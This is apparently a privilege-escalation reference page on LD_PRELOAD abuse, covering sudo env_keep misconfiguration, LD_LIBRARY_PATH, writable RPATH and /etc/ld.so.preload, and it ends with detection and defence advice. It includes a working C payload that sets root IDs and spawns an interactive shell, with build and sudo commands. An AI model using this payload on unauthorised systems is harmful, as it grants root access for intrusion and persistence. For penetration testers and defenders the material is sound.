LD_PRELOAD abuse

LD_PRELOAD abuse

TL;DR: When sudoers preserves LD_PRELOAD (env_keep), or when a privileged binary loads a writable shared object, an attacker injects code that runs at the binary’s privilege level.

What it is

LD_PRELOAD is a glibc env var that tells the dynamic linker to load a user-supplied .so before any other library. Symbols in the preload library override identically named symbols later in the chain — so a tiny .so defining __attribute__((constructor)) runs at process start, in the target’s address space. The dynamic linker explicitly ignores LD_PRELOAD for setuid/setgid binaries with AT_SECURE, so the bug is almost always misconfigured sudo or a writable library path picked up some other way.

Preconditions / where it applies

  • Sudo rule that allows running a binary with env_keep+="LD_PRELOAD" (or env_keep+="LD_LIBRARY_PATH"), OR
  • A setuid binary whose RPATH/RUNPATH points to a writable directory, OR
  • A privileged daemon launched by a unit file or init script that exports LD_PRELOAD

Technique

1. Confirm sudo env_keep. Look for the giveaway in sudo -l:

1
2
sudo -l
# (env_keep+=LD_PRELOAD) NOPASSWD: /usr/sbin/apache2

Build the payload:

1
2
3
4
5
6
7
8
9
10
// pwn.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void _init(void) {
    unsetenv("LD_PRELOAD");
    setresuid(0, 0, 0);
    execl("/bin/sh", "sh", "-i", NULL);
}
1
2
gcc -fPIC -shared -nostartfiles -o /tmp/pwn.so pwn.c
sudo LD_PRELOAD=/tmp/pwn.so apache2

2. LD_LIBRARY_PATH variant. Same env_keep recipe, but you ship a full libfoo.so.1 that the target binary links against:

1
2
3
ldd /usr/sbin/target
# search the list, build a malicious one, place it on LD_LIBRARY_PATH
sudo LD_LIBRARY_PATH=/tmp /usr/sbin/target

3. Writable RPATH. Find a setuid/setgid binary with a writable RPATH/RUNPATH:

1
2
readelf -d /usr/local/bin/legacy | grep -E 'PATH|NEEDED'
# RUNPATH = /opt/legacy/lib  ← if you can write here, drop a malicious libfoo.so

Because the linker drops LD_PRELOAD for AT_SECURE binaries, RPATH abuse is the more realistic setuid path.

4. /etc/ld.so.preload. A root-owned file that preloads system-wide. If it’s writable (broken permissions, container misconfig), one line lands persistence + privesc. Often used as a rootkit pivot.

Detection and defence

  • Audit /etc/sudoers and /etc/sudoers.d/* for any env_keep containing LD_*
  • sudo since 1.8 ignores LD_PRELOAD unless explicitly allowed — keep defaults
  • File-integrity monitoring on /etc/ld.so.preload and on any RPATH directories of suid binaries
  • AuditD watch on execve of setuid binaries with an LD_* env var
  • Statically build privileged helpers when feasible; clear RPATH/RUNPATH at link time

References

Related: sudo-misconfig, suid-sgid-binaries, linux-privesc-vectors.